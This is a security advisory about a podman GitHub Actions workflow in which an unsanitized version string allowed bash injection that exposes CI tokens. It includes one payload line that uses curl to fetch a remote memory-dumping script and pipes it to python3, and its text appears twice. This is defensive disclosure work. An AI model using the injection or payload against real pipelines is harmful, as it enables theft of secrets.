Summary
A vulnerable workflow in the containers/podman repository allows an unprivileged GitHub user to exfiltrate sensitive build-time secrets. The secretes have limited scope so they could not be used to push code directly.
We confirmed that this problem has NOT been exploited and it only effected the CI workflow and never actual podman code.
The problematic workflow was fixed in d7fefb7
Credits
We thank François Proulx, VP of Security Research at BoostSecurity.io, for responsibly reporting this vulnerability to us.
Exploitation Scenario
- An attacker opens a GitHub Pull Request targeting any release branch other than (
main
, *-dev
, *-rhel
) with a malicious version/rawversion/version.go
file.
- The GitHub Actions workflow
machine-os-pr.yml
is triggered on pull_request_target
, which includes secrets and does not require approval.
- The version is retrieved from the
version.go
file without any sanitization, which allows any value in steps.getversion.outputs.version
except a newline character ('\n').
- This variable is then used 5 times during the workflow, always using ${{ }} syntax, which allows for bash injection (CWE-77). The first occurrence can be found here.
- The injection can be used to retrieve two secrets:
a. PODMANBOT_TOKEN
: A Personal Access Token (PAT) used to push commits to another repo (proof). The PAT at least has content: write
permissions on podmanbot/podman-machine-os
, which can be used to modify the repository and exfiltrate any secrets this repository holds. The PAT might have more rights depending on the creation parameters (TBD).
b. GITHUB_TOKEN
: with issues: write
and pull-requests: write
permissions. This could potentially aid social engineering, since labels (approved
, do-not-merge/<reason>
, etc...) are heavily used in the PR review process within containers/podman
. Currently, no workflows with higher permissions seem to use label conditions in a way that this token could exploit, but the potential exists.
Payload example in version.go
:
This is RCE stage 0 which dumps the memory of the GitHub Actions job runner, and outputs to logs the secrets double Base64 encode (raw secrets and base64 secrets is masked otherwise)
const RawVersion = ";curl -s https://gist.githubusercontent.com/fproulx-boostsecurity/d63abaaac3318a4c66ef958ef2e5b525/raw/0cbe3f712837b97647fbd14a34c28d25b5bdacbf/ghamemdump.py | python3; exit 0"
Summary
A vulnerable workflow in the containers/podman repository allows an unprivileged GitHub user to exfiltrate sensitive build-time secrets. The secretes have limited scope so they could not be used to push code directly.
We confirmed that this problem has NOT been exploited and it only effected the CI workflow and never actual podman code.
The problematic workflow was fixed in d7fefb7
Credits
We thank François Proulx, VP of Security Research at BoostSecurity.io, for responsibly reporting this vulnerability to us.
Exploitation Scenario
main
,*-dev
,*-rhel
) with a maliciousversion/rawversion/version.go
file.machine-os-pr.yml
is triggered onpull_request_target
, which includes secrets and does not require approval.version.go
file without any sanitization, which allows any value insteps.getversion.outputs.version
except a newline character ('\n').a.
PODMANBOT_TOKEN
: A Personal Access Token (PAT) used to push commits to another repo (proof). The PAT at least hascontent: write
permissions onpodmanbot/podman-machine-os
, which can be used to modify the repository and exfiltrate any secrets this repository holds. The PAT might have more rights depending on the creation parameters (TBD).b.
GITHUB_TOKEN
: withissues: write
andpull-requests: write
permissions. This could potentially aid social engineering, since labels (approved
,do-not-merge/<reason>
, etc...) are heavily used in the PR review process withincontainers/podman
. Currently, no workflows with higher permissions seem to use label conditions in a way that this token could exploit, but the potential exists.Payload example in
version.go
:This is RCE stage 0 which dumps the memory of the GitHub Actions job runner, and outputs to logs the secrets double Base64 encode (raw secrets and base64 secrets is masked otherwise)